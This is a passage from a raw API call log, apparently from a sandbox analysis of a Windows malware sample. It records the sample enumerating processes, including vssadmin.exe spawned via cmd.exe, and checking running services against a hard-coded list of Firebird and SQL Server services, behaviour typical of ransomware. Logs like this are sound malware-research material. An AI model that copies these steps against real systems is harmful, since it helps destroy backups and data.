dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0190.421] lstrlenW (lpString="lsass.exe") returned 9 [0190.421] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0190.421] lstrlenW (lpString="lsm.exe") returned 7 [0190.421] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.422] lstrlenW (lpString="svchost.exe") returned 11 [0190.422] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.422] lstrlenW (lpString="svchost.exe") returned 11 [0190.422] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.422] lstrlenW (lpString="svchost.exe") returned 11 [0190.422] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.423] lstrlenW (lpString="svchost.exe") returned 11 [0190.423] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.423] lstrlenW (lpString="svchost.exe") returned 11 [0190.423] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0190.423] lstrlenW (lpString="audiodg.exe") returned 11 [0190.423] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.424] lstrlenW (lpString="svchost.exe") returned 11 [0190.424] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0190.424] lstrlenW (lpString="explorer.exe") returned 12 [0190.424] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0190.424] lstrlenW (lpString="dwm.exe") returned 7 [0190.424] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.425] lstrlenW (lpString="svchost.exe") returned 11 [0190.425] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0190.425] lstrlenW (lpString="n.exe") returned 5 [0190.425] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0190.426] lstrlenW (lpString="spoolsv.exe") returned 11 [0190.426] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.426] lstrlenW (lpString="svchost.exe") returned 11 [0190.426] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0190.426] lstrlenW (lpString="taskhost.exe") returned 12 [0190.426] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0190.427] lstrlenW (lpString="reader_sl.exe") returned 13 [0190.427] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0190.427] lstrlenW (lpString="n.exe") returned 5 [0190.427] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0190.427] lstrlenW (lpString="cmd.exe") returned 7 [0190.427] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0190.428] lstrlenW (lpString="conhost.exe") returned 11 [0190.428] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0190.428] lstrlenW (lpString="vssadmin.exe") returned 12 [0190.428] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0190.429] lstrlenW (lpString="VSSVC.exe") returned 9 [0190.429] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0190.429] CloseHandle (hObject=0x214) returned 1 [0190.429] Sleep (dwMilliseconds=0x1f4) [0191.131] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x633dc8 [0191.131] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 0 [0191.132] GetLastError () returned 0xea [0191.132] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x123e) returned 0x6b5c80 [0191.132] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6b5c80, cbBufSize=0x123e, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6b5c80, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 1 [0191.134] CloseServiceHandle (hSCObject=0x633dc8) returned 1 [0191.135] lstrlenW (lpString="Appinfo") returned 7 [0191.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0191.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0191.135] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0191.135] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0191.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0191.135] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0191.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0191.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0191.135] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0191.135] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0191.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0191.135] lstrlenW (lpString="AudioSrv") returned 8 [0191.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0191.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0191.135] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0191.135] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0191.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0191.135] lstrlenW (lpString="BFE") returned 3 [0191.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0191.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0191.135] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0191.135] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0191.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0191.135] lstrlenW (lpString="CryptSvc") returned 8 [0191.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0191.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0191.135] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0191.135] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0191.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0191.136] lstrlenW (lpString="CscService") returned 10 [0191.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0191.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0191.136] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0191.136] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0191.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0191.136] lstrlenW (lpString="DcomLaunch") returned 10 [0191.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0191.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0191.136] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0191.136] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0191.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0191.136] lstrlenW (lpString="Dhcp") returned 4 [0191.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0191.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0191.136] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0191.136] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0191.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0191.136] lstrlenW (lpString="Dnscache") returned 8 [0191.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0191.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0191.136] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0191.136] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0191.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0191.136] lstrlenW (lpString="DPS") returned 3 [0191.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0191.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0191.136] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0191.136] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0191.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0191.136] lstrlenW (lpString="eventlog") returned 8 [0191.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0191.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0191.137] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0191.137] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0191.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0191.137] lstrlenW (lpString="EventSystem") returned 11 [0191.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0191.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0191.137] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0191.137] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0191.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0191.137] lstrlenW (lpString="gpsvc") returned 5 [0191.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0191.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0191.137] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0191.137] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0191.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0191.137] lstrlenW (lpString="iphlpsvc") returned 8 [0191.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0191.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0191.137] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0191.137] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0191.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0191.137] lstrlenW (lpString="LanmanServer") returned 12 [0191.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0191.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0191.137] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0191.137] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0191.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0191.137] lstrlenW (lpString="LanmanWorkstation") returned 17 [0191.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0191.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0191.137] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0191.138] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0191.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0191.138] lstrlenW (lpString="lmhosts") returned 7 [0191.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0191.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0191.138] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0191.138] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0191.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0191.138] lstrlenW (lpString="MMCSS") returned 5 [0191.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0191.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0191.138] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0191.138] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0191.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0191.138] lstrlenW (lpString="MpsSvc") returned 6 [0191.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0191.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0191.138] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0191.138] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0191.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0191.138] lstrlenW (lpString="Netman") returned 6 [0191.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0191.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0191.138] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0191.138] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0191.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0191.138] lstrlenW (lpString="netprofm") returned 8 [0191.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0191.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0191.138] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0191.138] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0191.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0191.138] lstrlenW (lpString="NlaSvc") returned 6 [0191.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0191.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0191.139] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0191.139] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0191.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0191.139] lstrlenW (lpString="nsi") returned 3 [0191.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0191.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0191.139] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0191.139] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0191.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0191.139] lstrlenW (lpString="PcaSvc") returned 6 [0191.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0191.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0191.139] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0191.139] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0191.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0191.139] lstrlenW (lpString="PlugPlay") returned 8 [0191.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0191.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0191.139] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0191.139] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0191.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0191.139] lstrlenW (lpString="Power") returned 5 [0191.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0191.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0191.139] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0191.139] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0191.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0191.139] lstrlenW (lpString="ProfSvc") returned 7 [0191.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0191.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0191.139] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0191.140] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0191.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0191.140] lstrlenW (lpString="RpcEptMapper") returned 12 [0191.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0191.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0191.140] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0191.140] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0191.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0191.140] lstrlenW (lpString="RpcSs") returned 5 [0191.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0191.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0191.140] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0191.140] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0191.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0191.140] lstrlenW (lpString="SamSs") returned 5 [0191.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0191.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0191.140] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0191.140] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0191.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0191.140] lstrlenW (lpString="Schedule") returned 8 [0191.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0191.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0191.140] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0191.140] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0191.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0191.140] lstrlenW (lpString="SENS") returned 4 [0191.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0191.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0191.140] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0191.140] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0191.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0191.140] lstrlenW (lpString="ShellHWDetection") returned 16 [0191.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0191.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0191.141] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0191.141] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0191.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0191.141] lstrlenW (lpString="Spooler") returned 7 [0191.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0191.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0191.141] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0191.141] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0191.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0191.141] lstrlenW (lpString="SysMain") returned 7 [0191.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0191.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0191.141] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0191.141] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0191.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0191.141] lstrlenW (lpString="Themes") returned 6 [0191.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0191.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0191.141] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0191.141] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0191.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0191.141] lstrlenW (lpString="TrkWks") returned 6 [0191.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0191.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0191.141] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0191.141] 